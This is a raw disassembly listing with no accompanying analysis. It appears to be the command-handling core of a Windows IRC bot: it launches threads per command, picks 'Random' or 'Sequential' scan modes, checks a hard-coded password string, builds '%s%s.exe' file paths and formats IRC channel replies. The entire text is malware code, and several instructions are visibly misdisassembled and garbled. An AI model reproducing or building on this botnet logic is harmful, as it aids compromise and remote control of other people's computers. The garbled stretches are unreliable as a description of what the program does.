[ebp-2E4h] push 0Fh push eax call sub_40FFB7 add esp, 30h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset loc_407667 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40B9A7 loc_40B991: ; CODE XREF: seg000:0040B9A5j cmp [ebp-2E8h], ebx jnz loc_40B883 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40B991 ; --------------------------------------------------------------------------- loc_40B9A7: ; CODE XREF: seg000:0040B98Fj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset dword_42BA50 jmp loc_40C419 ; --------------------------------------------------------------------------- loc_40B9B8: ; CODE XREF: seg000:0040B186j ; seg000:0040B19Dj push 8 call sub_4101FF push dword ptr [ebp+20h] mov [ebp+18h], eax call sub_410A7F add eax, [ebp+18h] pop ecx pop ecx cmp eax, 12Ch jle short loc_40BA08 push dword ptr [ebp+18h] lea eax, [ebp-2E4h] push offset dword_42B9FC push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 jmp loc_40CD7A ; --------------------------------------------------------------------------- loc_40BA08: ; CODE XREF: seg000:0040B9D4j push edi call sub_410A7F push dword ptr [ebp+20h] mov [ebp-31Ch], eax call sub_410A7F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_410A7F add esp, 0Ch cmp eax, 1 mov [ebp-318h], eax jnb short loc_40BA41 push 1 pop eax mov [ebp-318h], eax loc_40BA41: ; CODE XREF: seg000:0040BA36j push 3Ch pop ecx cmp eax, ecx jbe short loc_40BA4E mov [ebp-318h], ecx loc_40BA4E: ; CODE XREF: seg000:0040BA46j push dword ptr [ebp+10h] call sub_410A7F cmp eax, 1F4h pop ecx mov [ebp-314h], eax jbe short loc_40BA6E mov dword ptr [ebp-314h], 1F4h loc_40BA6E: ; CODE XREF: seg000:0040BA62j or dword ptr [ebp-300h], 0FFFFFFFFh cmp ds:dword_41FFE8, ebx mov [ebp+10h], ebx jz short loc_40BAC4 mov dword ptr [ebp+2Ch], offset dword_41FFE8 loc_40BA87: ; CODE XREF: seg000:0040BAA6j mov eax, [ebp+2Ch] push edi add eax, 0FFFFFFD8h push eax call sub_410930 pop ecx test eax, eax pop ecx jz short loc_40BAAA add dword ptr [ebp+2Ch], 3Ch inc dword ptr [ebp+10h] mov eax, [ebp+2Ch] cmp [eax], ebx jnz short loc_40BA87 jmp short loc_40BAC4 ; --------------------------------------------------------------------------- loc_40BAAA: ; CODE XREF: seg000:0040BA98j mov eax, [ebp+10h] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, ds:dword_41FFE8[ecx] mov [ebp-31Ch], ecx loc_40BAC4: ; CODE XREF: seg000:0040BA7Ej ; seg000:0040BAA8j cmp [ebp-31Ch], ebx jz loc_40D679 mov edi, [ebp+esi-8Ch] cmp edi, ebx mov [ebp+20h], edi jz short loc_40BB0E cmp byte ptr [edi], 23h jz short loc_40BB0E push edi lea eax, [ebp-430h] push 10h push eax call sub_410A8A push 78h push edi call sub_412760 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-2F0h], eax jmp loc_40BBE2 ; --------------------------------------------------------------------------- loc_40BB0E: ; CODE XREF: seg000:0040BADCj ; seg000:0040BAE1j cmp [ebp-9B3h], bl jnz short loc_40BB30 cmp [ebp-9B2h], bl jnz short loc_40BB30 cmp [ebp-9A2h], bl jnz short loc_40BB30 push offset dword_42B9B0 jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40BB30: ; CODE XREF: seg000:0040BB14j ; seg000:0040BB1Cj ... push 10h lea eax, [ebp+8] pop edi push eax lea eax, [ebp-0D8h] push eax mov [ebp+8], edi push dword ptr [ebp+0Ch] call ds:dword_43073C ; getsockname mov al, [ebp-9B3h] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-0D4h], eax push dword ptr [ebp-0D4h] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_411D00 add esp, 0Ch cmp [ebp-9A2h], bl jz short loc_40BBDC xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_412000 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_40BBD0 loc_40BBAE: ; CODE XREF: seg000:0040BBCEj cmp eax, ebx jz short loc_40BBD0 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_412000 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40BBAE loc_40BBD0: ; CODE XREF: seg000:0040BBACj ; seg000:0040BBB0j mov dword ptr [ebp-2F0h], 1 jmp short loc_40BBE2 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: seg000:0040BB86j mov [ebp-2F0h], ebx loc_40BBE2: ; CODE XREF: seg000:0040BB09j ; seg000:0040BBDAj mov eax, [ebp+0Ch] push dword ptr [ebp-98h] mov [ebp-320h], eax mov eax, [ebp-4] mov [ebp-2F8h], eax mov eax, [ebp-8] mov [ebp-2F4h], eax mov edi, 80h lea eax, [ebp-420h] push edi push eax call sub_410A8A mov esi, [ebp+esi-88h] add esp, 0Ch cmp esi, ebx jz short loc_40BC36 loc_40BC23: ; CODE XREF: seg000:0040BC59j push esi loc_40BC24: ; CODE XREF: seg000:0040BC43j lea eax, [ebp-3A0h] push edi push eax call sub_410A8A add esp, 0Ch jmp short loc_40BC61 ; --------------------------------------------------------------------------- loc_40BC36: ; CODE XREF: seg000:0040BC21j mov eax, [ebp+20h] cmp eax, ebx jz short loc_40BC45 cmp byte ptr [eax], 23h jnz short loc_40BC45 push eax jmp short loc_40BC24 ; --------------------------------------------------------------------------- loc_40BC45: ; CODE XREF: seg000:0040BC3Bj ; seg000:0040BC40j mov esi, offset dword_4230B4 push offset dword_42F3E8 push esi call sub_410930 pop ecx test eax, eax pop ecx jnz short loc_40BC23 mov [ebp-3A0h], bl loc_40BC61: ; CODE XREF: seg000:0040BC34j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40BC73 mov eax, offset aSequential ; "Sequential" loc_40BC73: ; CODE XREF: seg000:0040BC6Cj push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2E4h] push offset dword_42B924 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 8 push eax call sub_40FFB7 add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push 405723h push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40BD01 loc_40BCEB: ; CODE XREF: seg000:0040BCFFj cmp [ebp-2ECh], ebx jnz loc_40B441 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40BCEB ; --------------------------------------------------------------------------- loc_40BD01: ; CODE XREF: seg000:0040BCE9j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset dword_42B8D8 jmp loc_40B432 ; --------------------------------------------------------------------------- loc_40BD12: ; CODE XREF: seg000:0040B146j ; seg000:0040B15Dj push edi call sub_410A7F imul eax, 234h pop ecx cmp ds:byte_4358F0[eax], bl jz loc_40E148 cmp [ebp-0Ch], ebx jz loc_40E148 push edi call sub_410B60 push dword ptr [ebp+18h] mov esi, eax call sub_410B60 push dword ptr [ebp+20h] add esi, eax call sub_410B60 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_410AE0 mov esi, eax lea eax, [ebp-2E4h] push esi push offset dword_42B8CC push eax call sub_41050B add esp, 20h cmp esi, ebx jz loc_40E148 push edi call sub_410A7F test eax, eax pop ecx jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 push ebx lea eax, [ebp-2E4h] push ebx push eax push dword ptr [ebp+20h] push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E367 push edi call sub_410A7F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4356D8[eax], 73h jnz loc_40E148 push esi push edi call sub_410A7F imul eax, 234h pop ecx add eax, offset byte_4358F0 push eax push dword ptr [ebp+20h] push offset aSSS_1 ; "[%s] * %s %s" loc_40BDFA: ; CODE XREF: seg000:0040BEF4j lea eax, [ebp-2E4h] push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 jmp loc_40DAF6 ; --------------------------------------------------------------------------- loc_40BE24: ; CODE XREF: seg000:0040B118j ; seg000:0040B12Fj push edi call sub_410A7F imul eax, 234h pop ecx cmp ds:byte_4358F0[eax], bl jz loc_40E148 cmp [ebp-0Ch], ebx jz loc_40E148 push edi call sub_410B60 push dword ptr [ebp+18h] mov esi, eax call sub_410B60 push dword ptr [ebp+20h] add esi, eax call sub_410B60 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_410AE0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40E148 push edi call sub_410A7F test eax, eax pop ecx jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 push ebx push ebx push esi push dword ptr [ebp+20h] push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E367 push edi call sub_410A7F imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4356D8[eax], 73h jnz loc_40E148 push esi push edi call sub_410A7F imul eax, 234h pop ecx add eax, offset byte_4358F0 push eax push dword ptr [ebp+20h] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_40BDFA ; --------------------------------------------------------------------------- loc_40BEF9: ; CODE XREF: seg000:0040B0EAj ; seg000:0040B101j push edi call ds:dword_4307D0 ; inet_addr push dword ptr [ebp+20h] mov [ebp-47Ch], eax call sub_410A7F push dword ptr [ebp+8] mov [ebp-488h], eax call sub_410A7F mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-98h] mov [ebp-484h], eax lea eax, [ebp-508h] mov [ebp-50Ch], esi push eax call sub_411D00 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-474h], edi push dword ptr [ebp-484h] mov [ebp-470h], eax push dword ptr [ebp-488h] push dword ptr [ebp-47Ch] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp-2E4h] push offset unk_42B85C push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 8 push eax call sub_40FFB7 add esp, 20h mov [ebp-480h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-50Ch] push ebx push eax push offset sub_40FB84 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-480h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40BFDB loc_40BFC5: ; CODE XREF: seg000:0040BFD9j cmp [ebp-46Ch], ebx jnz loc_40D959 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40BFC5 ; --------------------------------------------------------------------------- loc_40BFDB: ; CODE XREF: seg000:0040BFC3j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B80C jmp loc_40D94A ; --------------------------------------------------------------------------- loc_40BFEC: ; CODE XREF: seg000:0040B0BCj ; seg000:0040B0D3j push edi call sub_410A7F push 7Fh mov [ebp-300h], eax push dword ptr [ebp+20h] lea eax, [ebp-404h] push eax call sub_411D00 push dword ptr [ebp+8] call sub_410A7F push dword ptr [ebp-98h] mov esi, [ebp+0Ch] mov [ebp-304h], eax lea eax, [ebp-384h] push 80h push eax mov [ebp-40Ch], esi call sub_410A8A mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-2F0h], eax push dword ptr [ebp-304h] lea eax, [ebp-404h] mov [ebp-2F4h], edi push eax push dword ptr [ebp-300h] push esi call sub_407435 pop ecx push eax lea eax, [ebp-2E4h] push offset unk_42B7BC push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 10h push eax call sub_40FFB7 add esp, 24h mov [ebp-2FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-40Ch] push ebx push eax push offset sub_405982 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-2FCh] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C0D5 loc_40C0BF: ; CODE XREF: seg000:0040C0D3j cmp [ebp-2ECh], ebx jnz loc_40D959 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C0BF ; --------------------------------------------------------------------------- loc_40C0D5: ; CODE XREF: seg000:0040C0BDj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B768 jmp loc_40D94A ; --------------------------------------------------------------------------- loc_40C0E6: ; CODE XREF: seg000:0040B08Ej ; seg000:0040B0A5j push 0FFh lea eax, [ebp-788h] push edi push eax call sub_411D00 push 0FFh lea eax, [ebp-688h] push dword ptr [ebp+20h] push eax call sub_411D00 push dword ptr [ebp+8] mov [ebp-584h], ebx call sub_410A7F mov [ebp-580h], eax mov eax, [ebp+esi-90h] add esp, 1Ch cmp eax, ebx jz short loc_40C142 push 10h push ebx push eax call sub_4118C9 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40C148 ; --------------------------------------------------------------------------- loc_40C142: ; CODE XREF: seg000:0040C12Cj mov [ebp-578h], ebx loc_40C148: ; CODE XREF: seg000:0040C140j mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_40C162 push esi call sub_410A7F pop ecx mov [ebp-57Ch], eax jmp short loc_40C168 ; --------------------------------------------------------------------------- loc_40C162: ; CODE XREF: seg000:0040C151j mov [ebp-57Ch], ebx loc_40C168: ; CODE XREF: seg000:0040C160j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-98h] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_411D00 mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax push edi lea eax, [ebp-2E4h] push offset unk_42B728 push eax call sub_41050B push esi lea eax, [ebp-2E4h] push 15h push eax call sub_40FFB7 add esp, 28h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_408152 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C216 loc_40C200: ; CODE XREF: seg000:0040C214j cmp [ebp-568h], ebx jnz loc_40B883 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C216: ; CODE XREF: seg000:0040C1FEj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B6D4 jmp loc_40C419 ; --------------------------------------------------------------------------- loc_40C227: ; CODE XREF: seg000:0040B060j ; seg000:0040B077j push 7Fh lea eax, [ebp-774h] pop esi push esi push edi push eax call sub_411D00 push esi lea eax, [ebp-6F4h] push dword ptr [ebp+20h] push eax call sub_411D00 push esi lea eax, [ebp-674h] push dword ptr [ebp+8] push eax call sub_411D00 push esi lea eax, [ebp-5F4h] push dword ptr [ebp-98h] push eax call sub_411D00 mov eax, [ebp-8] push dword ptr [ebp+8] mov esi, [ebp-4] mov [ebp-56Ch], eax mov eax, [ebp+0Ch] push dword ptr [ebp+20h] mov [ebp-778h], eax lea eax, [ebp-2E4h] push edi push offset dword_42B694 push eax mov [ebp-570h], esi call sub_41050B add esp, 44h lea eax, [ebp-2E4h] push ebx push 0Bh push eax call sub_40FFB7 add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-778h] push ebx push eax push offset sub_40182E push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C2FA loc_40C2E8: ; CODE XREF: seg000:0040C2F8j cmp [ebp-568h], ebx jnz short loc_40C315 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C2E8 ; --------------------------------------------------------------------------- loc_40C2FA: ; CODE XREF: seg000:0040C2E6j call ds:dword_41C068 ; RtlGetLastWin32Error push eax lea eax, [ebp-2E4h] push offset dword_42B648 push eax call sub_41050B add esp, 0Ch loc_40C315: ; CODE XREF: seg000:0040C2EEj cmp [ebp-8], ebx jnz loc_40B462 push ebx push esi jmp loc_40B44A ; --------------------------------------------------------------------------- loc_40C325: ; CODE XREF: seg000:0040B01Bj ; seg000:0040B032j ... push 7Fh lea eax, [ebp-7F0h] pop esi push esi push edi push eax call sub_411D00 push esi lea eax, [ebp-770h] push dword ptr [ebp+20h] push eax call sub_411D00 push esi lea eax, [ebp-6F0h] push dword ptr [ebp+8] push eax call sub_411D00 push esi lea eax, [ebp-670h] push dword ptr [ebp-98h] push eax call sub_411D00 push 20h lea eax, [ebp-5F0h] push dword ptr [ebp+18h] push eax call sub_411D00 mov eax, [ebp-4] push dword ptr [ebp+8] mov esi, [ebp+0Ch] mov [ebp-570h], eax mov eax, [ebp-8] push dword ptr [ebp+20h] mov [ebp-56Ch], eax lea eax, [ebp-2E4h] push edi push offset unk_42B604 push eax mov [ebp-7F8h], esi call sub_41050B add esp, 50h lea eax, [ebp-2E4h] push ebx push 0Ah push eax call sub_40FFB7 add esp, 0Ch mov [ebp-7F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-7F8h] push ebx push eax push offset start push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-7F4h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C40D loc_40C3F7: ; CODE XREF: seg000:0040C40Bj cmp [ebp-568h], ebx jnz loc_40B883 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C3F7 ; --------------------------------------------------------------------------- loc_40C40D: ; CODE XREF: seg000:0040C3F5j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B5B8 loc_40C419: ; CODE XREF: seg000:0040B865j ; seg000:0040B9B3j ... lea eax, [ebp-2E4h] push eax call sub_41050B jmp loc_40B880 ; --------------------------------------------------------------------------- loc_40C42A: ; CODE XREF: seg000:0040AFEDj ; seg000:0040B004j push 7Fh lea eax, [ebp-444h] push edi push eax call sub_411D00 push dword ptr [ebp+20h] call sub_410A7F push 3Fh mov [ebp-2F4h], eax push dword ptr [ebp+8] lea eax, [ebp-3C4h] push eax call sub_411D00 mov esi, [ebp+esi-90h] add esp, 1Ch cmp esi, ebx jz short loc_40C478 push 3Fh lea eax, [ebp-384h] push esi push eax call sub_411D00 add esp, 0Ch loc_40C478: ; CODE XREF: seg000:0040C464j lea eax, [ebp-3C4h] mov dword ptr [ebp-2F0h], 1 push eax lea eax, [ebp-444h] push dword ptr [ebp-2F4h] push eax lea eax, [ebp-2E4h] push offset unk_42B574 push eax call sub_41050B push ebx lea eax, [ebp-2E4h] push 17h push eax call sub_40FFB7 add esp, 20h mov [ebp-2ECh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-448h] push ebx push eax push offset sub_4090B0 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-2ECh] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C504 loc_40C4EE: ; CODE XREF: seg000:0040C502j cmp [ebp-2E8h], ebx jnz loc_40D0B5 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C4EE ; --------------------------------------------------------------------------- loc_40C504: ; CODE XREF: seg000:0040C4ECj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B528 jmp loc_40CF25 ; --------------------------------------------------------------------------- loc_40C515: ; CODE XREF: seg000:0040AFADj ; seg000:0040AFC4j push dword ptr [ebp+20h] call sub_410A7F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40C606 mov esi, 80h push edi lea eax, [ebp-700h] push esi push eax call sub_410A8A xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-98h] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_410A8A mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax push edi push offset unk_42B4E8 lea eax, [ebp-2E4h] push 200h push eax call sub_410A8A push ebx lea eax, [ebp-2E4h] push 0Dh push eax call sub_40FFB7 add esp, 38h mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401447 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C5F5 loc_40C5DF: ; CODE XREF: seg000:0040C5F3j cmp [ebp-568h], ebx jnz loc_40B441 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C5DF ; --------------------------------------------------------------------------- loc_40C5F5: ; CODE XREF: seg000:0040C5DDj call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B49C jmp loc_40B432 ; --------------------------------------------------------------------------- loc_40C606: ; CODE XREF: seg000:0040C526j push offset unk_42B450 jmp loc_40D67E ; --------------------------------------------------------------------------- loc_40C610: ; CODE XREF: seg000:0040AF7Fj ; seg000:0040AF96j push dword ptr [ebp+20h] push edi call near ptr 3D0000h icebp test eax, eax jz short loc_40C63D push dword ptr [ebp+20h] lea eax, [ebp-2E4h] push edi push offset unk_42B418 push 200h push eax call sub_410A8A add esp, 14h jmp short loc_40C65C ; --------------------------------------------------------------------------- loc_40C63D: ; CODE XREF: seg000:0040C61Cj push offset dword_42B3F8 call loc_406ECC push eax lea eax, [ebp-2E4h] push 200h push eax call sub_410A8A add esp, 10h loc_40C65C: ; CODE XREF: seg000:0040C63Bj ; seg000:0040D0FFj ... cmp [ebp-8], ebx jnz short loc_40C67D push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40C67D: ; CODE XREF: seg000:0040A371j ; seg000:0040C65Fj ... push 1 pop esi loc_40C680: ; CODE XREF: seg000:0040C8DAj ; seg000:0040CFFAj ... lea eax, [ebp-2E4h] push eax call sub_407E0E pop ecx mov eax, esi jmp loc_40980E ; --------------------------------------------------------------------------- loc_40C694: ; CODE XREF: seg000:0040AF51j ; seg000:0040AF68j push 44h lea eax, [ebp-4A8h] pop esi push esi push ebx push eax call sub_410590 push 1 mov [ebp-4A8h], esi pop esi mov [ebp-478h], bx push edi mov [ebp-47Ch], esi call sub_410A7F add esp, 10h cmp eax, esi jnz short loc_40C6D1 mov word ptr [ebp-478h], 5 loc_40C6D1: ; CODE XREF: seg000:0040C6C6j cmp [ebp-0Ch], ebx jz loc_40D0B5 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_40D0B5 lea eax, [ebp-0D8h] push eax lea eax, [ebp-4A8h] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 3D0000h pop edi test eax, eax jnz short loc_40C71C push offset unk_42B3C0 jmp loc_40D0A7 ; --------------------------------------------------------------------------- loc_40C71C: ; CODE XREF: seg000:0040C710j push edi push offset dword_42B394 jmp loc_40CF25 ; --------------------------------------------------------------------------- loc_40C727: ; CODE XREF: seg000:0040AF23j ; seg000:0040AF3Aj push dword ptr [ebp+20h] push offset aIds44433 ; "ids44433" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40C8A3 lea eax, [ebp-3E8h] push eax push 104h call near ptr 3D0000h test eax, 0FF68h add [ebp-7877Bh], cl call dword ptr [edi+50h] call sub_411D00 lea eax, [ebp-0E4h] push eax call sub_40F741 push eax lea eax, [ebp-3E8h] push eax lea eax, [ebp-688h] push offset aSS_exe ; "%s%s.exe" push eax call sub_41050B mov eax, [ebp+esi-94h] add esp, 20h cmp eax, ebx mov dword ptr [ebp-584h], 1 mov [ebp-580h], ebx jz short loc_40C7B9 push 10h push ebx push eax call sub_4118C9 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40C7BF ; --------------------------------------------------------------------------- loc_40C7B9: ; CODE XREF: seg000:0040C7A3j mov [ebp-578h], ebx loc_40C7BF: ; CODE XREF: seg000:0040C7B7j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40C7D9 push esi call sub_410A7F pop ecx mov [ebp-57Ch], eax jmp short loc_40C7DF ; --------------------------------------------------------------------------- loc_40C7D9: ; CODE XREF: seg000:0040C7C8j mov [ebp-57Ch], ebx loc_40C7DF: ; CODE XREF: seg000:0040C7D7j movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-98h] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_411D00 mov eax, [ebp-4] push edi mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax lea eax, [ebp-2E4h] push offset unk_42B348 push eax call sub_41050B push esi lea eax, [ebp-2E4h] push 16h push eax call sub_40FFB7 add esp, 24h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_408152 push ebx push ebx call ds:dword_41C06C ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov ds:dword_4358EC[ecx], eax jz short loc_40C886 loc_40C874: ; CODE XREF: seg000:0040C884j cmp [ebp-568h], ebx jnz short loc_40C8B6 push 32h call ds:dword_41C058 ; Sleep jmp short loc_40C874 ; --------------------------------------------------------------------------- loc_40C886: ; CODE XREF: seg000:0040C872j call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_42B2F8 loc_40C892: ; CODE XREF: seg000:0040D03Ej ; seg000:0040D048j ... lea eax, [ebp-2E4h] push eax call sub_41050B loc_40C89E: ; CODE XREF: seg000:0040D9FBj add esp, 0Ch jmp short loc_40C8B6 ; --------------------------------------------------------------------------- loc_40C8A3: ; CODE XREF: seg000:0040C738j lea eax, [ebp-2E4h] push offset unk_42B2A0 push eax call sub_41050B pop ecx pop ecx loc_40C8B6: ; CODE XREF: seg000:0040C87Aj ; seg000:0040C8A1j cmp [ebp-8], ebx jnz short loc_40C8D7 push ebx lea eax, [ebp-2E4h] push dword ptr [ebp-4] push eax push dword ptr [ebp-98h] push dword ptr [ebp+0Ch] call sub_40E367 add esp, 14h loc_40C8D7: ; CODE XREF: seg000:0040C8B9j ; seg000:0040DF18j ... mov esi, [ebp+2Ch] jmp loc_40C680 ; --------------------------------------------------------------------------- loc_40C8DF: ; CODE XREF: seg000:0040AEF5j ; seg000:0040AF0Cj push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40980B cmp [ebp-0Ch], ebx jz loc_40980B push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 push eax lea eax, [ebp-2E4h] push dword ptr [ebp-98h] push dword ptr [ebp-9Ch] push dword ptr [ebp-0A0h] push offset dword_42B290 push eax call sub_41050B lea eax, [ebp-2E4h] push 1FFh push eax push dword ptr [ebp+8] call sub_411D00 push edi call sub_410A7F add esp, 30h test eax, eax jle short loc_40C966 push edi call sub_410A7F imul eax, 3E8h pop ecx push eax call ds:dword_41C058 ; Sleep loc_40C966: ; CODE XREF: seg000:0040C950j push offset dword_42B268 call sub_407E0E mov eax, [ebp+2Ch] pop ecx inc eax jmp loc_40980E ; --------------------------------------------------------------------------- loc_40C97A: ; CODE XREF: seg000:0040AEC7j ; seg000:0040AEDEj push dword ptr [ebp-9Ch] push offset a332 ; "332" call sub_410930 pop ecx test eax, eax pop ecx jz loc_40980B cmp [ebp-0Ch], ebx jz loc_40E148 push dword ptr [ebp+20h] push dword ptr [ebp-0Ch] call sub_410AE0 mov esi, eax mov eax, [ebp+20h] inc eax push offset aRepeat ; "repeat" push eax call sub_410930 add esp, 10h test eax, eax push esi jz short loc_40CA36 push dword ptr [ebp-98h] lea eax, [ebp-2E4h] push dword ptr [ebp-9Ch] push dword ptr [ebp-0A0h] push offset dword_42B290 push eax call sub_41050B lea eax, [ebp-2E4h] push 1FFh push eax push dword ptr [ebp+8] call sub_411D00 push esi lea eax, [ebp-2E4h] push offset dword_42B234 push eax call sub_41050B lea eax, [ebp-2E4h] push eax call sub_407E0E push edi call sub_410A7F add esp, 38h test eax, eax jle loc_40E148 push edi call sub_410A7F add eax, [ebp+2Ch] pop ecx jmp loc_40980E ; --------------------------------------------------------------------------- loc_40CA36: ; CODE XREF: seg000:0040C9BFj push offset dword_42B1EC jmp loc_40CF25 ; --------------------------------------------------------------------------- loc_40CA40: ; CODE XREF: seg000:0040AE99j ; seg000:0040AEB0j push dword ptr [ebp+20h] lea eax, [ebp-2E4h] push offset dword_42B1E4 push eax call sub_41050B push edi call sub_410A7F add esp, 10h loc_40CA5D: ; CODE XREF: seg000:0040CAC4j test eax, eax jle loc_40E148 push edi call sub_410A7F cmp eax, 12Ch pop ecx jge loc_40E148 loc_40CA77: ; CODE XREF: seg000:0040D186j lea eax, [ebp-2E4h] push eax push offset dword_41EE48 push edi call sub_410A7F imul eax, 234h pop ecx push ds:dword_4358E4[eax] call sub_40E321 